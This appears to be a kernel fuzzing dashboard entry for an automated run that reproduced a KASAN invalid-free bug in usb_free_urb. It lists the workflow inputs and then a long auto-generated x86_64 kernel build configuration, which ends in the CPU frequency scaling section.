ID Workflow Result Correct Bug Created Started Finished Revision
07608555 repro-c Reproduced: ✅ ❓ KASAN: invalid-free in usb_free_urb 2026/09/04 08:28 2026/09/04 09:42 2026/09/04 10:42 801f0966
Agent: prod-syz-agent-3
External Bug ID: ---

Inputs:
BaseBranch master
BaseCommit RC
BaseRepository git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git
BugTitle KASAN: invalid-free in usb_free_urb
CrashLogID 5992778493853696
CrashReportID 5346059498291200
KernelCommit 4477a78374a57c3809b172ad30cceabda48c47c6
KernelConfig
Show (283347 bytes)
#
# Automatically generated file; DO NOT EDIT.
# Linux/x86_64 syzkaller Kernel Configuration
#
CONFIG_CC_VERSION_TEXT="Debian clang version 22.1.8 (++20260613092233+e80beda6e255-1~exp1~20260613092250.77)"
CONFIG_GCC_VERSION=0
CONFIG_CC_IS_CLANG=y
CONFIG_CLANG_VERSION=220108
CONFIG_AS_IS_LLVM=y
CONFIG_AS_VERSION=220108
CONFIG_LD_VERSION=0
CONFIG_LD_IS_LLD=y
CONFIG_LLD_VERSION=220108
CONFIG_RUSTC_VERSION=109600
CONFIG_RUST_IS_AVAILABLE=y
CONFIG_RUSTC_LLVM_VERSION=220102
CONFIG_RUSTC_LLVM_MAJOR_VERSION=22
CONFIG_RUSTC_CLANG_LLVM_COMPATIBLE=y
CONFIG_CC_CAN_LINK=y
CONFIG_CC_HAS_ASM_GOTO_OUTPUT=y
CONFIG_CC_HAS_ASM_GOTO_TIED_OUTPUT=y
CONFIG_TOOLS_SUPPORT_RELR=y
CONFIG_CC_HAS_ASM_INLINE=y
CONFIG_CC_HAS_ASSUME=y
CONFIG_CC_HAS_NO_PROFILE_FN_ATTR=y
CONFIG_CC_HAS_COUNTED_BY=y
CONFIG_CC_HAS_COUNTED_BY_PTR=y
CONFIG_CC_HAS_ALLOC_TOKEN=y
CONFIG_CC_HAS_MULTIDIMENSIONAL_NONSTRING=y
CONFIG_LD_CAN_USE_KEEP_IN_OVERLAY=y
CONFIG_RUSTC_HAS_SPAN_FILE=y
CONFIG_RUSTC_HAS_UNNECESSARY_TRANSMUTES=y
CONFIG_RUSTC_HAS_FILE_WITH_NUL=y
CONFIG_RUSTC_HAS_FILE_AS_C_STR=y
CONFIG_PAHOLE_VERSION=130
CONFIG_CONSTRUCTORS=y
CONFIG_IRQ_WORK=y
CONFIG_BUILDTIME_TABLE_SORT=y
CONFIG_THREAD_INFO_IN_TASK=y

#
# General setup
#
CONFIG_INIT_ENV_ARG_LIMIT=32
# CONFIG_COMPILE_TEST is not set
# CONFIG_WERROR is not set
CONFIG_LOCALVERSION=""
CONFIG_LOCALVERSION_AUTO=y
CONFIG_BUILD_SALT=""
CONFIG_HAVE_KERNEL_GZIP=y
CONFIG_HAVE_KERNEL_BZIP2=y
CONFIG_HAVE_KERNEL_LZMA=y
CONFIG_HAVE_KERNEL_XZ=y
CONFIG_HAVE_KERNEL_LZO=y
CONFIG_HAVE_KERNEL_LZ4=y
CONFIG_HAVE_KERNEL_ZSTD=y
CONFIG_KERNEL_GZIP=y
# CONFIG_KERNEL_BZIP2 is not set
# CONFIG_KERNEL_LZMA is not set
# CONFIG_KERNEL_XZ is not set
# CONFIG_KERNEL_LZO is not set
# CONFIG_KERNEL_LZ4 is not set
# CONFIG_KERNEL_ZSTD is not set
CONFIG_DEFAULT_INIT=""
CONFIG_DEFAULT_HOSTNAME="(none)"
CONFIG_SYSVIPC=y
CONFIG_SYSVIPC_SYSCTL=y
CONFIG_SYSVIPC_COMPAT=y
CONFIG_POSIX_MQUEUE=y
CONFIG_POSIX_MQUEUE_SYSCTL=y
CONFIG_WATCH_QUEUE=y
CONFIG_CROSS_MEMORY_ATTACH=y
CONFIG_AUDIT=y
CONFIG_HAVE_ARCH_AUDITSYSCALL=y
CONFIG_AUDITSYSCALL=y

#
# IRQ subsystem
#
CONFIG_GENERIC_IRQ_PROBE=y
CONFIG_GENERIC_IRQ_SHOW=y
CONFIG_GENERIC_IRQ_EFFECTIVE_AFF_MASK=y
CONFIG_GENERIC_PENDING_IRQ=y
CONFIG_GENERIC_IRQ_MIGRATION=y
CONFIG_HARDIRQS_SW_RESEND=y
CONFIG_IRQ_DOMAIN=y
CONFIG_IRQ_DOMAIN_HIERARCHY=y
CONFIG_GENERIC_MSI_IRQ=y
CONFIG_GENERIC_IRQ_MATRIX_ALLOCATOR=y
CONFIG_GENERIC_IRQ_RESERVATION_MODE=y
CONFIG_IRQ_FORCED_THREADING=y
CONFIG_SPARSE_IRQ=y
# CONFIG_GENERIC_IRQ_DEBUGFS is not set
# end of IRQ subsystem

CONFIG_CLOCKSOURCE_WATCHDOG=y
CONFIG_ARCH_CLOCKSOURCE_INIT=y
CONFIG_ARCH_WANTS_CLOCKSOURCE_READ_INLINE=y
CONFIG_GENERIC_CLOCKEVENTS=y
CONFIG_GENERIC_CLOCKEVENTS_BROADCAST=y
CONFIG_GENERIC_CLOCKEVENTS_BROADCAST_IDLE=y
CONFIG_GENERIC_CLOCKEVENTS_MIN_ADJUST=y
CONFIG_GENERIC_CLOCKEVENTS_COUPLED=y
CONFIG_GENERIC_CLOCKEVENTS_COUPLED_INLINE=y
CONFIG_GENERIC_CMOS_UPDATE=y
CONFIG_HRTIMER_REARM_DEFERRED=y
CONFIG_HAVE_POSIX_CPU_TIMERS_TASK_WORK=y
CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y
CONFIG_CONTEXT_TRACKING=y
CONFIG_CONTEXT_TRACKING_IDLE=y

#
# Timers subsystem
#
CONFIG_TICK_ONESHOT=y
CONFIG_NO_HZ_COMMON=y
# CONFIG_HZ_PERIODIC is not set
CONFIG_NO_HZ_IDLE=y
# CONFIG_NO_HZ_FULL is not set
CONFIG_CONTEXT_TRACKING_USER=y
# CONFIG_CONTEXT_TRACKING_USER_FORCE is not set
CONFIG_NO_HZ=y
CONFIG_HIGH_RES_TIMERS=y
CONFIG_POSIX_AUX_CLOCKS=y
# end of Timers subsystem

CONFIG_BPF=y
CONFIG_HAVE_EBPF_JIT=y
CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y

#
# BPF subsystem
#
CONFIG_BPF_SYSCALL=y
CONFIG_BPF_JIT=y
CONFIG_BPF_JIT_ALWAYS_ON=y
CONFIG_BPF_JIT_DEFAULT_ON=y
# CONFIG_BPF_UNPRIV_DEFAULT_OFF is not set
CONFIG_BPF_PRELOAD=y
CONFIG_BPF_PRELOAD_UMD=y
CONFIG_BPF_LSM=y
# end of BPF subsystem

CONFIG_PREEMPT_BUILD=y
CONFIG_ARCH_HAS_PREEMPT_LAZY=y
CONFIG_PREEMPT=y
# CONFIG_PREEMPT_LAZY is not set
# CONFIG_PREEMPT_RT is not set
CONFIG_PREEMPT_COUNT=y
CONFIG_HAS_SEPARATE_PREEMPT_RESCHED_BITS=y
CONFIG_PREEMPTION=y
CONFIG_PREEMPT_DYNAMIC=y
CONFIG_SCHED_CORE=y

#
# CPU/Task time and stats accounting
#
CONFIG_VIRT_CPU_ACCOUNTING=y
# CONFIG_TICK_CPU_ACCOUNTING is not set
CONFIG_VIRT_CPU_ACCOUNTING_GEN=y
CONFIG_IRQ_TIME_ACCOUNTING=y
CONFIG_HAVE_SCHED_AVG_IRQ=y
CONFIG_BSD_PROCESS_ACCT=y
CONFIG_BSD_PROCESS_ACCT_V3=y
CONFIG_TASKSTATS=y
CONFIG_TASK_DELAY_ACCT=y
CONFIG_TASK_XACCT=y
CONFIG_TASK_IO_ACCOUNTING=y
CONFIG_PSI=y
# CONFIG_PSI_DEFAULT_DISABLED is not set
# end of CPU/Task time and stats accounting

CONFIG_CPU_ISOLATION=y

#
# RCU Subsystem
#
CONFIG_TREE_RCU=y
CONFIG_PREEMPT_RCU=y
# CONFIG_RCU_EXPERT is not set
CONFIG_TREE_SRCU=y
CONFIG_TASKS_RCU_GENERIC=y
CONFIG_NEED_TASKS_RCU=y
CONFIG_TASKS_RCU=y
CONFIG_TASKS_TRACE_RCU=y
CONFIG_RCU_STALL_COMMON=y
CONFIG_RCU_NEED_SEGCBLIST=y
# end of RCU Subsystem

CONFIG_IKCONFIG=y
CONFIG_IKCONFIG_PROC=y
# CONFIG_IKHEADERS is not set
CONFIG_LOG_BUF_SHIFT=18
CONFIG_LOG_CPU_MAX_BUF_SHIFT=12
# CONFIG_PRINTK_INDEX is not set
CONFIG_HAVE_UNSTABLE_SCHED_CLOCK=y

#
# Scheduler features
#
# CONFIG_UCLAMP_TASK is not set
# CONFIG_SCHED_PROXY_EXEC is not set
# end of Scheduler features

CONFIG_ARCH_HAS_PTE_PROTNONE=y
CONFIG_ARCH_SUPPORTS_NUMA_BALANCING=y
CONFIG_ARCH_WANT_BATCHED_UNMAP_TLB_FLUSH=y
CONFIG_CC_HAS_INT128=y
CONFIG_CC_IMPLICIT_FALLTHROUGH="-Wimplicit-fallthrough"
CONFIG_CC_MS_EXTENSIONS="-fms-extensions"
CONFIG_GCC10_NO_ARRAY_BOUNDS=y
CONFIG_GCC_NO_STRINGOP_OVERFLOW=y
CONFIG_ARCH_SUPPORTS_INT128=y
CONFIG_NUMA_BALANCING=y
CONFIG_SCHED_CACHE=y
CONFIG_NUMA_BALANCING_DEFAULT_ENABLED=y
CONFIG_SLAB_OBJ_EXT=y
CONFIG_CGROUPS=y
CONFIG_PAGE_COUNTER=y
# CONFIG_CGROUP_FAVOR_DYNMODS is not set
CONFIG_MEMCG=y
CONFIG_MEMCG_V1=y
CONFIG_BLK_CGROUP=y
CONFIG_CGROUP_WRITEBACK=y
CONFIG_CGROUP_SCHED=y
CONFIG_GROUP_SCHED_WEIGHT=y
CONFIG_GROUP_SCHED_BANDWIDTH=y
CONFIG_FAIR_GROUP_SCHED=y
CONFIG_CFS_BANDWIDTH=y
# CONFIG_RT_GROUP_SCHED is not set
CONFIG_SCHED_MM_CID=y
CONFIG_CGROUP_PIDS=y
CONFIG_CGROUP_RDMA=y
# CONFIG_CGROUP_DMEM is not set
CONFIG_CGROUP_FREEZER=y
CONFIG_CGROUP_HUGETLB=y
CONFIG_CPUSETS=y
# CONFIG_CPUSETS_V1 is not set
CONFIG_CGROUP_DEVICE=y
CONFIG_CGROUP_CPUACCT=y
CONFIG_CGROUP_PERF=y
# CONFIG_CGROUP_BPF is not set
CONFIG_CGROUP_MISC=y
CONFIG_CGROUP_DEBUG=y
CONFIG_SOCK_CGROUP_DATA=y
CONFIG_NAMESPACES=y
CONFIG_UTS_NS=y
CONFIG_TIME_NS=y
CONFIG_TIME_NS_VDSO=y
CONFIG_IPC_NS=y
CONFIG_USER_NS=y
CONFIG_PID_NS=y
CONFIG_NET_NS=y
CONFIG_CHECKPOINT_RESTORE=y
# CONFIG_SCHED_AUTOGROUP is not set
CONFIG_RELAY=y
CONFIG_BLK_DEV_INITRD=y
CONFIG_INITRAMFS_SOURCE=""
CONFIG_RD_GZIP=y
CONFIG_RD_BZIP2=y
CONFIG_RD_LZMA=y
CONFIG_RD_XZ=y
CONFIG_RD_LZO=y
CONFIG_RD_LZ4=y
CONFIG_RD_ZSTD=y
# CONFIG_BOOT_CONFIG is not set
CONFIG_ARCH_SUPPORTS_CMDLINE_FROM_BOOTCONFIG=y
CONFIG_COMMAND_LINE_SIZE=2048
CONFIG_CMDLINE_LOG_WRAP_IDEAL_LEN=1021
CONFIG_INITRAMFS_PRESERVE_MTIME=y
CONFIG_CC_OPTIMIZE_FOR_PERFORMANCE=y
# CONFIG_CC_OPTIMIZE_FOR_SIZE is not set
CONFIG_LD_ORPHAN_WARN=y
CONFIG_LD_ORPHAN_WARN_LEVEL="warn"
CONFIG_HAVE_UID16=y
CONFIG_SYSCTL_EXCEPTION_TRACE=y
CONFIG_SYSFS_SYSCALL=y
CONFIG_HAVE_PCSPKR_PLATFORM=y
CONFIG_EXPERT=y
CONFIG_UID16=y
CONFIG_MULTIUSER=y
CONFIG_SGETMASK_SYSCALL=y
CONFIG_FHANDLE=y
CONFIG_POSIX_TIMERS=y
CONFIG_PRINTK=y
CONFIG_BUG=y
CONFIG_ELF_CORE=y
CONFIG_PCSPKR_PLATFORM=y
# CONFIG_BASE_SMALL is not set
CONFIG_FUTEX=y
CONFIG_FUTEX_PI=y
CONFIG_FUTEX_PRIVATE_HASH=y
CONFIG_FUTEX_MPOL=y
CONFIG_HAVE_FUTEX_ROBUST_UNLOCK=y
CONFIG_FUTEX_ROBUST_UNLOCK=y
CONFIG_EPOLL=y
CONFIG_SIGNALFD=y
CONFIG_TIMERFD=y
CONFIG_EVENTFD=y
CONFIG_SHMEM=y
CONFIG_AIO=y
CONFIG_IO_URING=y
CONFIG_IO_URING_MOCK_FILE=y
CONFIG_ADVISE_SYSCALLS=y
CONFIG_MEMBARRIER=y
CONFIG_KCMP=y
CONFIG_RSEQ=y
CONFIG_RSEQ_SLICE_EXTENSION=y
# CONFIG_RSEQ_STATS is not set
# CONFIG_RSEQ_DEBUG_DEFAULT_ENABLE is not set
CONFIG_CACHESTAT_SYSCALL=y
CONFIG_KALLSYMS=y
# CONFIG_KALLSYMS_SELFTEST is not set
CONFIG_KALLSYMS_ALL=y
CONFIG_ARCH_HAS_MEMBARRIER_SYNC_CORE=y
CONFIG_ARCH_SUPPORTS_MSEAL_SYSTEM_MAPPINGS=y
CONFIG_HAVE_PERF_EVENTS=y
CONFIG_GUEST_PERF_EVENTS=y
CONFIG_PERF_GUEST_MEDIATED_PMU=y

#
# Kernel Performance Events And Counters
#
CONFIG_PERF_EVENTS=y
# CONFIG_DEBUG_PERF_USE_VMALLOC is not set
# end of Kernel Performance Events And Counters

CONFIG_SYSTEM_DATA_VERIFICATION=y
CONFIG_PROFILING=y
CONFIG_RUST=y
CONFIG_RUSTC_VERSION_TEXT="rustc 1.96.0 (ac68faa20 2026-05-25)"
CONFIG_BINDGEN_VERSION_TEXT="bindgen 0.72.1"
CONFIG_TRACEPOINTS=y

#
# Kexec and crash features
#
CONFIG_CRASH_RESERVE=y
CONFIG_VMCORE_INFO=y
CONFIG_KEXEC_CORE=y
CONFIG_KEXEC=y
# CONFIG_KEXEC_FILE is not set
# CONFIG_KEXEC_JUMP is not set
CONFIG_CRASH_DUMP=y
CONFIG_CRASH_HOTPLUG=y
CONFIG_CRASH_MAX_MEMORY_RANGES=8192
# end of Kexec and crash features

#
# Live Update and Kexec HandOver
#
# CONFIG_KEXEC_HANDOVER is not set
# end of Live Update and Kexec HandOver
# end of General setup

CONFIG_64BIT=y
CONFIG_X86_64=y
CONFIG_X86=y
CONFIG_INSTRUCTION_DECODER=y
CONFIG_OUTPUT_FORMAT="elf64-x86-64"
CONFIG_LOCKDEP_SUPPORT=y
CONFIG_STACKTRACE_SUPPORT=y
CONFIG_MMU=y
CONFIG_ARCH_MMAP_RND_BITS_MIN=28
CONFIG_ARCH_MMAP_RND_BITS_MAX=32
CONFIG_ARCH_MMAP_RND_COMPAT_BITS_MIN=8
CONFIG_ARCH_MMAP_RND_COMPAT_BITS_MAX=16
CONFIG_GENERIC_ISA_DMA=y
CONFIG_GENERIC_CSUM=y
CONFIG_GENERIC_BUG=y
CONFIG_GENERIC_BUG_RELATIVE_POINTERS=y
CONFIG_ARCH_MAY_HAVE_PC_FDC=y
CONFIG_GENERIC_CALIBRATE_DELAY=y
CONFIG_ARCH_HAS_CPU_RELAX=y
CONFIG_ARCH_HIBERNATION_POSSIBLE=y
CONFIG_ARCH_SUSPEND_POSSIBLE=y
CONFIG_AUDIT_ARCH=y
CONFIG_KASAN_SHADOW_OFFSET=0xdffffc0000000000
CONFIG_HAVE_INTEL_TXT=y
CONFIG_ARCH_SUPPORTS_UPROBES=y
CONFIG_FIX_EARLYCON_MEM=y
CONFIG_PGTABLE_LEVELS=5

#
# Processor type and features
#
CONFIG_SMP=y
CONFIG_X86_X2APIC=y
# CONFIG_X86_POSTED_MSI is not set
CONFIG_X86_MPPARSE=y
# CONFIG_X86_CPU_RESCTRL is not set
CONFIG_X86_FRED=y
CONFIG_X86_EXTENDED_PLATFORM=y
# CONFIG_X86_NUMACHIP is not set
# CONFIG_X86_VSMP is not set
# CONFIG_X86_INTEL_MID is not set
# CONFIG_X86_GOLDFISH is not set
# CONFIG_X86_INTEL_LPSS is not set
# CONFIG_X86_AMD_PLATFORM_DEVICE is not set
CONFIG_IOSF_MBI=y
# CONFIG_IOSF_MBI_DEBUG is not set
CONFIG_X86_SUPPORTS_MEMORY_FAILURE=y
CONFIG_SCHED_OMIT_FRAME_POINTER=y
CONFIG_HYPERVISOR_GUEST=y
CONFIG_PARAVIRT=y
CONFIG_PARAVIRT_SPINLOCKS=y
CONFIG_X86_HV_CALLBACK_VECTOR=y
# CONFIG_XEN is not set
CONFIG_KVM_GUEST=y
CONFIG_ARCH_CPUIDLE_HALTPOLL=y
CONFIG_PVH=y
# CONFIG_PARAVIRT_TIME_ACCOUNTING is not set
CONFIG_PARAVIRT_CLOCK=y
# CONFIG_JAILHOUSE_GUEST is not set
# CONFIG_ACRN_GUEST is not set
# CONFIG_BHYVE_GUEST is not set
CONFIG_CC_HAS_MARCH_NATIVE=y
# CONFIG_X86_NATIVE_CPU is not set
CONFIG_X86_INTERNODE_CACHE_SHIFT=6
CONFIG_X86_L1_CACHE_SHIFT=6
CONFIG_X86_TSC=y
CONFIG_X86_HAVE_PAE=y
CONFIG_X86_CX8=y
CONFIG_X86_CMOV=y
CONFIG_X86_MINIMUM_CPU_FAMILY=64
CONFIG_X86_DEBUGCTLMSR=y
CONFIG_IA32_FEAT_CTL=y
CONFIG_X86_VMX_FEATURE_NAMES=y
CONFIG_PROCESSOR_SELECT=y
CONFIG_CPU_SUP_INTEL=y
CONFIG_CPU_SUP_AMD=y
# CONFIG_CPU_SUP_HYGON is not set
# CONFIG_CPU_SUP_CENTAUR is not set
# CONFIG_CPU_SUP_ZHAOXIN is not set
CONFIG_BROADCAST_TLB_FLUSH=y
CONFIG_HPET_TIMER=y
CONFIG_HPET_EMULATE_RTC=y
CONFIG_DMI=y
# CONFIG_GART_IOMMU is not set
CONFIG_BOOT_VESA_SUPPORT=y
# CONFIG_MAXSMP is not set
CONFIG_NR_CPUS_RANGE_BEGIN=2
CONFIG_NR_CPUS_RANGE_END=512
CONFIG_NR_CPUS_DEFAULT=64
CONFIG_NR_CPUS=8
CONFIG_SCHED_MC_PRIO=y
CONFIG_X86_LOCAL_APIC=y
CONFIG_ACPI_MADT_WAKEUP=y
CONFIG_X86_IO_APIC=y
CONFIG_X86_REROUTE_FOR_BROKEN_BOOT_IRQS=y
CONFIG_X86_MCE=y
# CONFIG_X86_MCELOG_LEGACY is not set
CONFIG_X86_MCE_INTEL=y
CONFIG_X86_MCE_AMD=y
CONFIG_X86_MCE_THRESHOLD=y
# CONFIG_X86_MCE_INJECT is not set

#
# Performance monitoring
#
CONFIG_PERF_EVENTS_INTEL_UNCORE=y
CONFIG_PERF_EVENTS_INTEL_RAPL=y
CONFIG_PERF_EVENTS_INTEL_CSTATE=y
# CONFIG_PERF_EVENTS_AMD_POWER is not set
CONFIG_PERF_EVENTS_AMD_UNCORE=y
# CONFIG_PERF_EVENTS_AMD_BRS is not set
# end of Performance monitoring

CONFIG_X86_16BIT=y
CONFIG_X86_ESPFIX64=y
CONFIG_X86_VSYSCALL_EMULATION=y
CONFIG_X86_IOPL_IOPERM=y
CONFIG_MICROCODE=y
# CONFIG_MICROCODE_LATE_LOADING is not set
# CONFIG_MICROCODE_DBG is not set
CONFIG_X86_MSR=y
CONFIG_X86_CPUID=y
CONFIG_X86_DIRECT_GBPAGES=y
# CONFIG_X86_CPA_STATISTICS is not set
CONFIG_NUMA=y
CONFIG_AMD_NUMA=y
CONFIG_X86_64_ACPI_NUMA=y
CONFIG_NODES_SHIFT=6
CONFIG_ARCH_SPARSEMEM_ENABLE=y
CONFIG_ARCH_SPARSEMEM_DEFAULT=y
# CONFIG_ARCH_MEMORY_PROBE is not set
CONFIG_ARCH_PROC_KCORE_TEXT=y
CONFIG_ILLEGAL_POINTER_VALUE=0xdead000000000000
# CONFIG_X86_PMEM_LEGACY is not set
# CONFIG_X86_CHECK_BIOS_CORRUPTION is not set
CONFIG_MTRR=y
# CONFIG_MTRR_SANITIZER is not set
CONFIG_X86_PAT=y
CONFIG_X86_UMIP=y
CONFIG_CC_HAS_IBT=y
CONFIG_X86_CET=y
CONFIG_X86_KERNEL_IBT=y
CONFIG_X86_INTEL_MEMORY_PROTECTION_KEYS=y
CONFIG_ARCH_PKEY_BITS=4
# CONFIG_X86_INTEL_TSX_MODE_OFF is not set
CONFIG_X86_INTEL_TSX_MODE_ON=y
# CONFIG_X86_INTEL_TSX_MODE_AUTO is not set
CONFIG_X86_SGX=y
CONFIG_X86_USER_SHADOW_STACK=y
# CONFIG_INTEL_TDX_HOST is not set
# CONFIG_EFI is not set
CONFIG_HZ_100=y
# CONFIG_HZ_250 is not set
# CONFIG_HZ_300 is not set
# CONFIG_HZ_1000 is not set
CONFIG_HZ=100
CONFIG_SCHED_HRTICK=y
CONFIG_ARCH_SUPPORTS_KEXEC=y
CONFIG_ARCH_SUPPORTS_KEXEC_FILE=y
CONFIG_ARCH_SUPPORTS_KEXEC_PURGATORY=y
CONFIG_ARCH_SUPPORTS_KEXEC_SIG=y
CONFIG_ARCH_SUPPORTS_KEXEC_SIG_FORCE=y
CONFIG_ARCH_SUPPORTS_KEXEC_BZIMAGE_VERIFY_SIG=y
CONFIG_ARCH_SUPPORTS_KEXEC_JUMP=y
CONFIG_ARCH_SUPPORTS_KEXEC_HANDOVER=y
CONFIG_ARCH_SUPPORTS_CRASH_DUMP=y
CONFIG_ARCH_DEFAULT_CRASH_DUMP=y
CONFIG_ARCH_SUPPORTS_CRASH_HOTPLUG=y
CONFIG_ARCH_HAS_GENERIC_CRASHKERNEL_RESERVATION=y
CONFIG_PHYSICAL_START=0x1000000
# CONFIG_RELOCATABLE is not set
CONFIG_PHYSICAL_ALIGN=0x200000
CONFIG_HOTPLUG_CPU=y
# CONFIG_COMPAT_VDSO is not set
CONFIG_LEGACY_VSYSCALL_XONLY=y
# CONFIG_LEGACY_VSYSCALL_NONE is not set
CONFIG_CMDLINE_BOOL=y
CONFIG_CMDLINE="earlyprintk=serial net.ifnames=0 sysctl.kernel.hung_task_all_cpu_backtrace=1 ima_policy=tcb nf-conntrack-ftp.ports=20000 nf-conntrack-tftp.ports=20000 nf-conntrack-sip.ports=20000 nf-conntrack-irc.ports=20000 nf-conntrack-sane.ports=20000 binder.debug_mask=0 rcupdate.rcu_expedited=1 rcupdate.rcu_cpu_stall_cputime=1 no_hash_pointers page_owner=on sysctl.vm.nr_hugepages=4 sysctl.vm.nr_overcommit_hugepages=4 secretmem.enable=1 sysctl.max_rcu_stall_to_panic=1 msr.allow_writes=off coredump_filter=0xffff root=/dev/sda console=ttyS0 vsyscall=native numa=fake=2 kvm-intel.nested=1 spec_store_bypass_disable=prctl nopcid vivid.n_devs=64 vivid.multiplanar=1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2 netrom.nr_ndevs=32 rose.rose_ndevs=32 smp.csd_lock_timeout=100000 watchdog_thresh=55 workqueue.watchdog_thresh=140 sysctl.net.core.netdev_unregister_timeout_secs=140 dummy_hcd.num=32 max_loop=32 nbds_max=32 comedi.comedi_num_legacy_minors=4 panic_on_warn=1 binder.impl=rust"
# CONFIG_CMDLINE_OVERRIDE is not set
CONFIG_MODIFY_LDT_SYSCALL=y
# CONFIG_STRICT_SIGALTSTACK_SIZE is not set
CONFIG_HAVE_LIVEPATCH=y
CONFIG_HAVE_KLP_BUILD=y
CONFIG_X86_BUS_LOCK_DETECT=y
# end of Processor type and features

CONFIG_CC_HAS_SLS=y
CONFIG_CC_HAS_RETURN_THUNK=y
CONFIG_CC_HAS_ENTRY_PADDING=y
CONFIG_FUNCTION_PADDING_CFI=11
CONFIG_FUNCTION_PADDING_BYTES=16
CONFIG_CALL_PADDING=y
CONFIG_HAVE_CALL_THUNKS=y
CONFIG_CALL_THUNKS=y
CONFIG_CPU_MITIGATIONS=y
CONFIG_MITIGATION_PAGE_TABLE_ISOLATION=y
CONFIG_MITIGATION_RETPOLINE=y
CONFIG_MITIGATION_RETHUNK=y
CONFIG_MITIGATION_UNRET_ENTRY=y
CONFIG_MITIGATION_CALL_DEPTH_TRACKING=y
# CONFIG_CALL_THUNKS_DEBUG is not set
CONFIG_MITIGATION_IBPB_ENTRY=y
CONFIG_MITIGATION_IBRS_ENTRY=y
CONFIG_MITIGATION_SRSO=y
# CONFIG_MITIGATION_SLS is not set
CONFIG_MITIGATION_GDS=y
CONFIG_MITIGATION_RFDS=y
CONFIG_MITIGATION_SPECTRE_BHI=y
CONFIG_MITIGATION_MDS=y
CONFIG_MITIGATION_TAA=y
CONFIG_MITIGATION_MMIO_STALE_DATA=y
CONFIG_MITIGATION_L1TF=y
CONFIG_MITIGATION_RETBLEED=y
CONFIG_MITIGATION_SPECTRE_V1=y
CONFIG_MITIGATION_SPECTRE_V2=y
CONFIG_MITIGATION_SRBDS=y
CONFIG_MITIGATION_SSB=y
CONFIG_MITIGATION_ITS=y
CONFIG_MITIGATION_TSA=y
# CONFIG_MITIGATION_VMSCAPE is not set
CONFIG_ARCH_HAS_ADD_PAGES=y

#
# Power management and ACPI options
#
CONFIG_ARCH_HIBERNATION_HEADER=y
CONFIG_SUSPEND=y
CONFIG_SUSPEND_FREEZER=y
# CONFIG_SUSPEND_SKIP_SYNC is not set
CONFIG_HIBERNATE_CALLBACKS=y
CONFIG_HIBERNATION=y
CONFIG_HIBERNATION_SNAPSHOT_DEV=y
CONFIG_HIBERNATION_COMP_LZO=y
# CONFIG_HIBERNATION_COMP_LZ4 is not set
CONFIG_HIBERNATION_DEF_COMP="lzo"
CONFIG_PM_STD_PARTITION=""
CONFIG_PM_SLEEP=y
CONFIG_PM_SLEEP_SMP=y
# CONFIG_PM_AUTOSLEEP is not set
# CONFIG_PM_USERSPACE_AUTOSLEEP is not set
# CONFIG_PM_WAKELOCKS is not set
# CONFIG_PM_QOS_CPU_SYSTEM_WAKEUP is not set
CONFIG_PM=y
CONFIG_PM_DEBUG=y
# CONFIG_PM_ADVANCED_DEBUG is not set
# CONFIG_PM_TEST_SUSPEND is not set
CONFIG_PM_SLEEP_DEBUG=y
# CONFIG_DPM_WATCHDOG is not set
CONFIG_PM_TRACE=y
CONFIG_PM_TRACE_RTC=y
CONFIG_PM_CLK=y
# CONFIG_WQ_POWER_EFFICIENT_DEFAULT is not set
# CONFIG_ENERGY_MODEL is not set
CONFIG_ARCH_SUPPORTS_ACPI=y
CONFIG_ACPI=y
CONFIG_ACPI_LEGACY_TABLES_LOOKUP=y
CONFIG_ARCH_MIGHT_HAVE_ACPI_PDC=y
CONFIG_ACPI_SYSTEM_POWER_STATES_SUPPORT=y
CONFIG_ACPI_THERMAL_LIB=y
# CONFIG_ACPI_DEBUGGER is not set
CONFIG_ACPI_SPCR_TABLE=y
# CONFIG_ACPI_FPDT is not set
CONFIG_ACPI_LPIT=y
CONFIG_ACPI_SLEEP=y
CONFIG_ACPI_REV_OVERRIDE_POSSIBLE=y
CONFIG_ACPI_EC=y
# CONFIG_ACPI_EC_DEBUGFS is not set
CONFIG_ACPI_AC=y
CONFIG_ACPI_BATTERY=y
CONFIG_ACPI_BUTTON=y
CONFIG_ACPI_VIDEO=y
CONFIG_ACPI_FAN=y
# CONFIG_ACPI_TAD is not set
CONFIG_ACPI_DOCK=y
CONFIG_ACPI_CPU_FREQ_PSS=y
CONFIG_ACPI_PROCESSOR_CSTATE=y
CONFIG_ACPI_PROCESSOR_IDLE=y
CONFIG_ACPI_CPPC_LIB=y
CONFIG_ACPI_PROCESSOR=y
CONFIG_ACPI_HOTPLUG_CPU=y
# CONFIG_ACPI_PROCESSOR_AGGREGATOR is not set
CONFIG_ACPI_THERMAL=y
CONFIG_ACPI_PLATFORM_PROFILE=y
CONFIG_ARCH_HAS_ACPI_TABLE_UPGRADE=y
CONFIG_ACPI_TABLE_UPGRADE=y
CONFIG_ACPI_DEBUG=y
# CONFIG_ACPI_PCI_SLOT is not set
CONFIG_ACPI_CONTAINER=y
# CONFIG_ACPI_HOTPLUG_MEMORY is not set
CONFIG_ACPI_HOTPLUG_IOAPIC=y
# CONFIG_ACPI_SBS is not set
# CONFIG_ACPI_HED is not set
# CONFIG_ACPI_REDUCED_HARDWARE_ONLY is not set
CONFIG_ACPI_NHLT=y
CONFIG_ACPI_NFIT=y
# CONFIG_NFIT_SECURITY_DEBUG is not set
CONFIG_ACPI_NUMA=y
# CONFIG_ACPI_HMAT is not set
CONFIG_HAVE_ACPI_APEI=y
CONFIG_HAVE_ACPI_APEI_NMI=y
# CONFIG_ACPI_APEI is not set
# CONFIG_ACPI_DPTF is not set
# CONFIG_ACPI_EXTLOG is not set
# CONFIG_ACPI_CONFIGFS is not set
# CONFIG_ACPI_PFRUT is not set
CONFIG_ACPI_PCC=y
# CONFIG_ACPI_FFH is not set
CONFIG_ACPI_MRRM=y
CONFIG_PMIC_OPREGION=y
CONFIG_BXT_WC_PMIC_OPREGION=y
# CONFIG_CHT_WC_PMIC_OPREGION is not set
CONFIG_X86_PM_TIMER=y

#
# CPU Frequency scaling
#
CONFIG_CPU_FREQ=y
CONFIG_CPU_FREQ_GOV_ATTR_SET=y
CONFIG_CPU_FREQ_GOV_COMMON=y
# CONFIG_CPU_FREQ_STAT is not set
# CONFIG_CPU_FREQ_DEFAULT_GOV_PERFORMANCE is not set
# CONFIG_CPU_FREQ_DEFAULT_GOV_POWERSAVE is not set
